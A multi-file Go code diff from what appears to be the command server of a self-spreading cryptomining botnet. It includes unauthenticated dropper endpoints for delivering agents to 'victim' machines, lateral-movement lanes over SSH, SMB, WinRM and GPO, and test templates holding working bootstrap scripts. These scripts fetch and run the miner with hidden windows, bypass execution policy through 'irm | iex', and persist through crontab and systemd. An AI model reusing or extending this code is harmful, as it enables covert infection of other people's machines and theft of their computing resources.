r.Get("/erasure-swarm/policy-json", erasureSwarmHandler.GetPolicyJSON)
}
// Builder // Builder
r.Post("/builder/build", builderHandler.ServeHTTP) r.Post("/builder/build", builderHandler.ServeHTTP)
@@ -652,18 +648,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin) r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper) r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate) r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
r.Post("/builder/fargate-burst-export", spreadHandler.ExportFargateBurst)
r.Get("/emberwake/notes", spreadHandler.GetNotes) r.Get("/emberwake/notes", spreadHandler.GetNotes)
r.Put("/emberwake/notes", spreadHandler.PutNotes) r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns) r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom) r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph) r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
} }
if wsHub != nil { if wsHub != nil {
@@ -690,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP) r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint) r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// Fleet secret rotation ? generates a new secret, saves config, kicks all agents. // Fleet secret rotation generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged. // Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) { r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil { if rotateSecretFn == nil {
@@ -744,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true}) writeJSON(w, map[string]interface{}{"success": true})
}) })
// Deck backup ? authenticated full backup ZIP (config + DB + users) // Deck backup authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version) backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP) r.Get("/backup", backupH.ServeHTTP)
// Path Tracer ? on-demand WireGuard chain sessions // Path Tracer on-demand WireGuard chain sessions
if pathTracerHandler != nil { if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start) r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Post("/pathtrace/discover", pathTracerHandler.Discover) r.Post("/pathtrace/discover", pathTracerHandler.Discover)
@@ -761,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
} }
// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header). // Agent autonomy REST forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table. // Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport) r.Post("/agent/report", aiHandler.HandleReport)
@@ -778,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
} }
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule) r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
// Public builds (also bypass auth in middleware ? listed here for chi routing) // Public builds (also bypass auth in middleware listed here for chi routing)
if publicHandler != nil { if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds) r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download) r.Get("/public/download/{id}", publicHandler.Download)
@@ -787,12 +777,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard) r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest) r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest) r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
}
if spreadHandler != nil {
r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)
r.Get("/public/fargate-burst/run-task.sh", spreadHandler.FargateBurstRunScript)
r.Get("/public/fargate-burst/bundle.zip", spreadHandler.FargateBurstBundleZip)
} }
}) })
@@ -800,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ws/agent", wsHub.HandleAgentWS) r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS) r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate) // One-liner remote install endpoints (unauthenticated URL knowledge is the gate)
if dropperHandler != nil { if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet) r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh) r.Get("/install.sh", dropperHandler.ServeSh)
@@ -808,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/install.command", dropperHandler.ServeCommand) r.Get("/install.command", dropperHandler.ServeCommand)
} }
// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts // SUPP Seek agent download endpoints serve agent binaries so launcher scripts
// dropped by Seek Mode can fetch and run the agent on the victim machine. // dropped by Seek Mode can fetch and run the agent on the victim machine.
// Unauthenticated (the drop URL itself is the secret). // Unauthenticated (the drop URL itself is the secret).
r.Get("/api/download/agent-windows", serveAgentBinary("windows")) r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
@@ -913,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
// exe so it works both from the USB bundle and from a compiled dev build. // exe so it works both from the USB bundle and from a compiled dev build.
// //
// Filename convention (same as what the build pipeline produces): // Filename convention (same as what the build pipeline produces):
// - windows ? crypto-miner-agent.exe // - windows crypto-miner-agent.exe
// - mac/linux ? crypto-miner-agent (no extension) // - mac/linux crypto-miner-agent (no extension)
// agentBinarySearchDir returns the directory used to locate bundled agent binaries. // agentBinarySearchDir returns the directory used to locate bundled agent binaries.
// Tests may override this to point at a temp tree instead of os.Executable()'s dir. // Tests may override this to point at a temp tree instead of os.Executable()'s dir.
var agentBinarySearchDir = func() (string, error) { var agentBinarySearchDir = func() (string, error) {

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download" dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil) req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()

View File

@@ -28,10 +28,6 @@ type ServerPolicy struct {
ErasureLanesEnabled bool ErasureLanesEnabled bool
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests. // FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
FleetTorrentEnabled bool FleetTorrentEnabled bool
AwsS3ShardRegion string
AwsCloudFrontDomain string
FargateBurstCampaign bool
FargateBurstTTLHours int
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on. // StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
StrainHospiceWinRateThreshold float64 StrainHospiceWinRateThreshold float64
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies. // StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.

View File

@@ -35,8 +35,6 @@ var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
"Server": {Lane: "spread_smb_unc", Priority: 45}, "Server": {Lane: "spread_smb_unc", Priority: 45},
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, "sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, "ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
"AmazonSSMAgent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
"amazon-ssm-agent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
} }
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids. // NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
@@ -63,8 +61,6 @@ func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[strin
lane.Template = "gpo" lane.Template = "gpo"
case "linux_lotl": case "linux_lotl":
lane.Template = "linux-lotl" lane.Template = "linux-lotl"
case "ssm_document":
lane.Template = "ssm-document"
} }
} }
out[name] = lane out[name] = lane

View File

@@ -1,4 +1,4 @@
package api package api
import ( import (
"encoding/json" "encoding/json"
@@ -12,60 +12,17 @@ import (
"time" "time"
dbpkg "crypto-miner-server/internal/db" dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5"
) )
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export. // SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
type SpreadHandler struct { type SpreadHandler struct {
db *dbpkg.Database db *dbpkg.Database
dataDir string dataDir string
projectRoot string projectRoot string
wsHub *WSHub wsHub *WSHub
publicURL func() string notesMu sync.RWMutex
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
s3CRRConfigFn func() erasure.S3ShardConfig
policyPathTracer *PathTracerHandler
policyFanoutCfgFn func() PolicyFanoutConfig
notesMu sync.RWMutex
}
func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
if h != nil {
h.erasureShards = store
}
}
func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
if h != nil {
h.deployPlan = handler
}
}
func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
if h != nil {
h.s3CRRConfigFn = fn
}
}
// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
if h == nil || h.s3CRRConfigFn == nil {
http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
return
}
doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
writeJSON(w, map[string]interface{}{
"template": "templates/spread/aws/s3-crr-rule.json",
"rule": doc,
"notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
})
} }
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler { func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {

View File

@@ -16,31 +16,134 @@ func writeDeploySpreadTemplates(t *testing.T, root string) {
if err := os.MkdirAll(winrmDir, 0o755); err != nil { if err := os.MkdirAll(winrmDir, 0o755); err != nil {
t.Fatal(err) t.Fatal(err)
} }
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(`Enable-PSRemoting`), 0o644); err != nil { winrmScript := `# WinRM bootstrap
Enable-PSRemoting -Force -SkipNetworkProfileCheck
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
powershell.exe -EncodedCommand $encoded
`
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
t.Fatal(err)
}
linuxDir := filepath.Join(root, "templates", "spread", "linux")
if err := os.MkdirAll(linuxDir, 0o755); err != nil {
t.Fatal(err)
}
linuxScript := `#!/bin/sh
LOTL_MODE='{{LOTL_MODE}}'
curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
systemd-run --user --unit=aetherforge-worker.service
persist_crontab() { crontab -; }
`
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
t.Fatal(err)
}
entDir := filepath.Join(root, "templates", "spread", "enterprise")
if err := os.MkdirAll(entDir, 0o755); err != nil {
t.Fatal(err)
}
gpoScript := `# GPO computer startup script
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
$env:AETHER_DEFER_MINING = '1'
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
`
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
t.Fatal(err) t.Fatal(err)
} }
ssmDir := filepath.Join(root, "templates", "spread", "ssm")
_ = os.MkdirAll(ssmDir, 0o755)
_ = os.WriteFile(filepath.Join(ssmDir, "document.json"), []byte(`{"schemaVersion":"2.2","mainSteps":[{"inputs":{"runCommand":["curl '{{MANIFEST_URL}}'","{{SHARD_FETCH_LINES}}","curl '{{FALLBACK_GET_URL}}'"]}}]}`), 0o644)
_ = os.WriteFile(filepath.Join(ssmDir, "run-command.json"), []byte(`{"DocumentName":"AetherForge-ErasureSpread-{{BUILD_ID}}"}`), 0o644)
_ = os.WriteFile(filepath.Join(ssmDir, "create-document.sh"), []byte(`#!/bin/sh`), 0o644)
} }
func TestDeployPlanSSMDocumentLane(t *testing.T) { func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
cases := map[string]struct {
subdir string
zip string
}{
"winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
"linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
"gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
"enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
}
for tpl, want := range cases {
subdir, zip, err := spreadTemplatePaths(tpl)
if err != nil {
t.Fatalf("%q: %v", tpl, err)
}
if subdir != want.subdir || zip != want.zip {
t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
}
}
_, _, err := spreadTemplatePaths("bogus-lane")
if err == nil || !strings.Contains(err.Error(), "unknown template") {
t.Fatalf("err=%v", err)
}
}
func TestDeployPlanWinRMLane(t *testing.T) {
root := t.TempDir() root := t.TempDir()
writeDeploySpreadTemplates(t, root) writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root) h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{ plan, err := h.buildPlan(deployPlanRequest{
Platform: "linux", BuildID: "b1", Campaign: "ssm-lab", Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
}, "AmazonSSMAgent", ServiceDeployLane{Lane: "ssm_document", Template: "ssm-document"}) }, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
if err != nil { if err != nil {
t.Fatal(err) t.Fatal(err)
} }
if plan.JoinLane != "ssm_document" || plan.SSMDocument == "" { if plan.JoinLane != "winrm" || plan.Script == "" {
t.Fatalf("plan=%+v", plan) t.Fatalf("plan=%+v", plan)
} }
if !strings.Contains(plan.SSMDocument, "schemaVersion") { for _, marker := range []string{
t.Fatalf("doc=%s", plan.SSMDocument) "http://127.0.0.1:8989/get?os=windows",
"--spread-install",
"--defer-mining",
"Enable-PSRemoting",
} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
}
func TestDeployPlanGPOLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "gpo" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
t.Fatalf("script missing query suffix: %s", plan.Script)
}
}
func TestDeployPlanLinuxLOTLLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "linux_lotl" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
} }
} }
@@ -53,10 +156,22 @@ func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlan
} }
t.Cleanup(func() { _ = database.Close() }) t.Cleanup(func() { _ = database.Close() })
buildDir := filepath.Join(dir, "builds", "b1") buildDir := filepath.Join(dir, "builds", "b1")
_ = os.MkdirAll(buildDir, 0o755) if err := os.MkdirAll(buildDir, 0o755); err != nil {
t.Fatal(err)
}
artifact := filepath.Join(buildDir, "worker.exe") artifact := filepath.Join(buildDir, "worker.exe")
_ = os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644) if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
_ = database.InsertBuild(&models.BuildRecord{ID: "b1", Platform: "linux", FileName: "worker.exe", FilePath: artifact}) t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
}); err != nil {
t.Fatal(err)
}
cfgPath := filepath.Join(dir, "config.json")
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
t.Fatal(err)
}
return NewDeployPlanHandler(database, dir, projectRoot, return NewDeployPlanHandler(database, dir, projectRoot,
func() string { return "http://127.0.0.1:8989" }, func() string { return "http://127.0.0.1:8989" },
func() string { return "fleet-test" }, func() string { return "fleet-test" },

View File

@@ -100,7 +100,6 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
in.LaneSuccess = collectLaneSuccessStats(hub) in.LaneSuccess = collectLaneSuccessStats(hub)
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
in.FargateBurstActive = hub.fargateBurstActive()
return in return in
} }

View File

@@ -1,4 +1,4 @@
package api package api
import ( import (
"crypto/subtle" "crypto/subtle"
@@ -179,12 +179,6 @@ type WSHub struct {
epidemiology *epidemiology.Tracker epidemiology *epidemiology.Tracker
miningSurgery *miningsurgery.Tracker miningSurgery *miningsurgery.Tracker
contingencyOrch *mining.ContingencyOrchestrator contingencyOrch *mining.ContingencyOrchestrator
fargateBurstCampaign bool
fargateBurstExpiresAt time.Time
fargateBurstTTLHours int
policySnapshotToken string
policyEventBridgeRelayURL string
policyPublicBaseURL func() string
pingIntervalSec int pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier eventNotifier *alerts.Notifier
@@ -208,10 +202,6 @@ type WSHub struct {
scoutConstellations *fleetai.ScoutConstellationRegistry scoutConstellations *fleetai.ScoutConstellationRegistry
scoutAgents map[string]bool scoutAgents map[string]bool
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
cloudVenueMu sync.Mutex
cloudVenues *fleetai.CloudVenueRegistry
// Coalesce per-agent stats_update into a single stats_batch frame per tick. // Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage statsBatch map[string]json.RawMessage
@@ -692,8 +682,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ParentAgentID string `json:"parent_agent_id,omitempty"` ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"`
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"` FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"` SeederMode bool `json:"seeder_mode,omitempty"`
} }
@@ -856,9 +844,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
SpreadStrain: strings.TrimSpace(auth.SpreadStrain), SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
Capabilities: &caps, Capabilities: &caps,
} }
applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
})
if err := h.db.UpsertAgent(agent); err != nil { if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err) log.Printf("Failed to upsert agent: %v", err)
@@ -953,7 +938,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
} }
resp["triple_onion_policy"] = top resp["triple_onion_policy"] = top
spreadPolicy := map[string]interface{}{} spreadPolicy := map[string]interface{}{}
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled || policy.AwsS3ShardRegion != "" || policy.AwsCloudFrontDomain != "" { if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
if policy.HashrateGateSpreadMin > 0 { if policy.HashrateGateSpreadMin > 0 {
@@ -962,28 +947,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if policy.HashrateGateHPS > 0 { if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
} }
if policy.AwsS3ShardRegion != "" {
spreadPolicy["aws_s3_shard_region"] = policy.AwsS3ShardRegion
}
if policy.AwsCloudFrontDomain != "" {
spreadPolicy["aws_cloudfront_domain"] = policy.AwsCloudFrontDomain
}
} }
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil { if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
for k, v := range scoutPolicy { for k, v := range scoutPolicy {
spreadPolicy[k] = v spreadPolicy[k] = v
} }
} }
if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
for k, v := range cloudPolicy {
spreadPolicy[k] = v
}
}
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
for k, v := range fanout {
spreadPolicy[k] = v
}
}
if len(spreadPolicy) > 0 { if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy resp["spread_policy"] = spreadPolicy
} }
@@ -1495,34 +1464,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount) h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
} }
case "cloud_venue_report":
if agentID == "" {
continue
}
var report struct {
CloudProvider string `json:"cloud_provider"`
Environment string `json:"environment"`
Workload string `json:"workload"`
InstanceType string `json:"instance_type"`
InstanceLifecycle string `json:"instance_lifecycle"`
OrganizationalUnit string `json:"organizational_unit"`
EC2Tags map[string]string `json:"ec2_tags"`
}
if err := json.Unmarshal(msg.Payload, &report); err != nil {
continue
}
if strings.TrimSpace(report.CloudProvider) == "" {
report.CloudProvider = "aws"
}
h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
Environment: report.Environment,
Workload: report.Workload,
InstanceType: report.InstanceType,
InstanceLifecycle: report.InstanceLifecycle,
OrganizationalUnit: report.OrganizationalUnit,
EC2Tags: report.EC2Tags,
})
case "ai_snapshot": case "ai_snapshot":
if agentID == "" { if agentID == "" {
continue continue

View File

@@ -1,16 +1,17 @@
package atlas package atlas
import ( import (
"fmt"
"strings" "strings"
) )
// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only).
const ( const (
FleetGossipHaveShard = "have_shard" FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy" FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node" FleetGossipKnowNode = "know_node"
) )
// FleetGossipRecord is one peer advertisement in the fleet torrent DHT.
type FleetGossipRecord struct { type FleetGossipRecord struct {
Kind string `json:"kind"` Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"` AgentID string `json:"agent_id,omitempty"`
@@ -18,21 +19,18 @@ type FleetGossipRecord struct {
Token string `json:"token,omitempty"` Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"` ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"` ShardHash string `json:"shard_hash,omitempty"`
Region string `json:"region,omitempty"`
ShardAdvert string `json:"shard_advert,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"` TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"` Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"` FetchURL string `json:"fetch_url,omitempty"`
} }
// NormalizeFleetGossipRecord validates and trims one fleet gossip record.
func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) { func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
r.Kind = strings.TrimSpace(strings.ToLower(r.Kind)) r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
r.AgentID = strings.TrimSpace(r.AgentID) r.AgentID = strings.TrimSpace(r.AgentID)
r.Subnet = strings.TrimSpace(r.Subnet) r.Subnet = strings.TrimSpace(r.Subnet)
r.Token = strings.TrimSpace(r.Token) r.Token = strings.TrimSpace(r.Token)
